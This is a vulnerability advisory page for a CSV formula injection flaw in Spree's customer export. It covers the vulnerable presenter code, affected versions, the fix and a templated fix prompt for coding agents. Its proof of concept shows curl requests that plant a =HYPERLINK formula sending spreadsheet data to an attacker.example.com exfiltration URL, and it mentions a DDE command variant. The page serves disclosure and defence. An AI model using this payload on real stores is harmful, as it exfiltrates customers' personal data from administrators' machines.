# GHSA-xf4v-w5x5-pv79: Spree: CSV Formula Injection in Customer Export > Attackers can inject malicious formulas into customer data, leading to code execution or data exfiltration when administrators export and open the CSV file. - **Severity:** Not scored - **Exploited in the wild:** Not known - **Login needed:** Not needed - **Attackable:** Over the internet - **Victim action needed:** A user has to click or open something - **Fix available:** Yes - **Published:** 4 Jun 2026 ## What is GHSA-xf4v-w5x5-pv79? GHSA-xf4v-w5x5-pv79 is a code injection vulnerability in spree, published on 4 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link. ### Official description ### Summary CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange). --- ### Details #### Affected presenters and fields | Presenter | Path | User-controlled fields | |---|---|---| | `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` | #### Vulnerable code — `customer_presenter.rb` (representative example) ```ruby # spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53 def call csv = [ customer.first_name, # ← written verbatim; may contain =HYPERLINK(...) customer.last_name, # ← user-controlled customer.email, customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no), customer.address&.company, # ← user-controlled customer.address&.address1, # ← user-controlled customer.address&.address2, # ← user-controlled customer.address&.city, # ← user-controlled customer.address&.state_text, customer.address&.state_abbr, customer.address&.country&.name, customer.address&.country&.iso, customer.address&.zipcode, customer.phone, # ← user-controlled customer.amount_spent_in(Spree::Store.current.default_currency), customer.completed_orders.count, ] csv += metafields_for_csv(customer) csv end ``` --- ### PoC **Precondition**: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker. #### Step 1 — Register as a customer with an injected first name ```bash curl -X POST https://store.example.com/api/v3/store/customers \ -H "Content-Type: application/json" \ -H "X-Spree-Api-Key: pk_" \ -d '{ "email": "attacker@evil.com", "password": "password123", "password_confirmation": "password123", "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")", "last_name": "Smith" }' ``` #### Step 2 — Admin triggers a customer export ```bash curl -X POST https://store.example.com/api/v3/admin/exports \ -H "Authorization: Bearer " \ -H "Content-Type: application/json" \ -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}' ``` #### Step 3 — Admin polls until ready, then downloads ```bash # Poll for completion curl https://store.example.com/api/v3/admin/exports/ \ -H "Authorization: Bearer " # Download curl https://store.example.com/api/v3/admin/exports//download \ -H "Authorization: Bearer " \ -o customers.csv ``` #### Step 4 — Verify injection in the raw CSV (without opening in Excel) Open `customers.csv` in a text editor. The first data row will contain: ``` "=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",... ``` #### Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows) - Excel warns about external data connections; if the administrator clicks **Enable**, the `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=`. - Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain email, address, and order total data for all exported customers. - With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine. --- ### Impact **Vulnerability class**: CSV / Formula Injection (CWE-1236) #### Who is impacted - **Administrators** who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history. #### Realistic attack chain | Step | Actor | Action | Privilege required | |---|---|---|---| | 1 | Attacker | Registers as customer | Public registration | | 2 | Attacker | Sets `first_name` to formula payload | None beyond registration | | 3 | Admin | Runs a routine weekly/monthly export | Normal operational task | | 4 | Admin | Opens CSV in Excel | None | | 5 | Attacker | Receives exfiltrated spreadsheet data | Passive | #### Data at risk All data visible to the administrator in the spreadsheet at the time of opening, including: - All exported customer emails, names, addresses, phone numbers - Order totals and purchase history - Any other columns in the same export file ## Which versions are affected by GHSA-xf4v-w5x5-pv79? 6 open source packages ship an affected version, including spree. | Package | Ecosystem | Affected | Fixed in | | --- | --- | --- | --- | | `spree` | RubyGems | From 5.2.0 | 5.2.8 | | `spree` | RubyGems | From 5.2.0 | 5.2.8 | | `spree` | RubyGems | From 5.3.0 | 5.3.6 | | `spree` | RubyGems | From 5.3.0 | 5.3.6 | | `spree` | RubyGems | From 5.4.0 | 5.4.3 | | `spree` | RubyGems | From 5.4.0 | 5.4.3 | ## How do I fix GHSA-xf4v-w5x5-pv79? Upgrade spree to a fixed version for your release line: 5.2.8, 5.3.6 or 5.4.3. ## Is GHSA-xf4v-w5x5-pv79 being exploited? There is no known exploitation of GHSA-xf4v-w5x5-pv79 in the wild and no public exploit code. ## Fix prompt for AI coding agents ```text Check this codebase for GHSA-xf4v-w5x5-pv79 and fix it if it is affected. What it is: GHSA-xf4v-w5x5-pv79 is a code injection vulnerability in spree, published on 4 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link. Exploitation: There is no known exploitation of GHSA-xf4v-w5x5-pv79 in the wild and no public exploit code. Affected packages and fixed versions: - spree (RubyGems): affected from 5.2.0; fixed in 5.2.8 - spree (RubyGems): affected from 5.2.0; fixed in 5.2.8 - spree (RubyGems): affected from 5.3.0; fixed in 5.3.6 - spree (RubyGems): affected from 5.3.0; fixed in 5.3.6 - spree (RubyGems): affected from 5.4.0; fixed in 5.4.3 - spree (RubyGems): affected from 5.4.0; fixed in 5.4.3 Task: 1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies. 2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it. 3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead. 4. Run the tests and summarise what changed and why. 5. If nothing in the project is affected, say so and change nothing. Reference: https://insights.sbomify.com/GHSA-xf4v-w5x5-pv79/ (Markdown: https://insights.sbomify.com/GHSA-xf4v-w5x5-pv79/index.md) ``` ## Sources - OSV: https://osv.dev/vulnerability/GHSA-xf4v-w5x5-pv79 --- From sbomify Insights: https://insights.sbomify.com/GHSA-xf4v-w5x5-pv79/ Summaries are generated and may contain mistakes; the official description above is the record.